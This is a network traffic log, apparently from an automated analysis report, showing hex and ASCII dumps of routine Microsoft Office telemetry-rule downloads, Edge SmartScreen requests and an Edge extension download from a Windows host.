2024-11-28 10:05:33 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-28 10:05:33 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:32 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100532Z-174f7845968kdththC1EWRzvxn0000000aqg000000001uvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:33 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49855	4.152.133.8	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:32 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoicm5rb3J0RkxVZHV4cVE1ZmNhZEFEUT09IiwgImhhc2giOiJSM2l4d1laZFpFYz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-28 10:05:32 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 10:05:33 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:33 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-28 10:05:33 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49853	23.200.0.6	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:33 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733393127&P2=404&P3=2&P4=Ip8wIh8Dnq77xEn07DQqV7XpxWE20hwdg%2fAMwO8I1V5ABpMMM%2bOYoL2PPP14b4id04pxvZ7K0eHzjJ1R3p5Ykw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: WUHPGNDB/akcmEsa974tf0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:33 UTC	1248	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 50651cd5-cb73-4a11-b256-51ab53fd5c8c MS-RequestId: 2e18d1bf-2b26-4386-88a8-db64a4f722ec MS-CV: mQSzEHQ5UXrwWuFC1Z0B36.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86344 Date: Thu, 28 Nov 2024 10:05:33 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.45.172.22,b=922884830,c=g,n=US_NJ_EDISON,o=20940],[c=c,n=US_NJ_SECAUCUS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.16ac2d17.1732788333.37021ade Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-28 10:05:33 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:33 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 20644146-d01e-0017-0115-41b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100534Z-174f7845968pght8hC1EWRyvxg000000019g00000000ak4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:34 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49856	4.152.133.8	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:34 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiemN4UkVnU25xaWplQmFnNjlzYlBHQT09IiwgImhhc2giOiJjRGJNUkFKRERyWT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-28 10:05:34 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 10:05:35 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:34 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-28 10:05:35 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-28 10:05:35 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-28 10:05:35 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-28 10:05:35 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 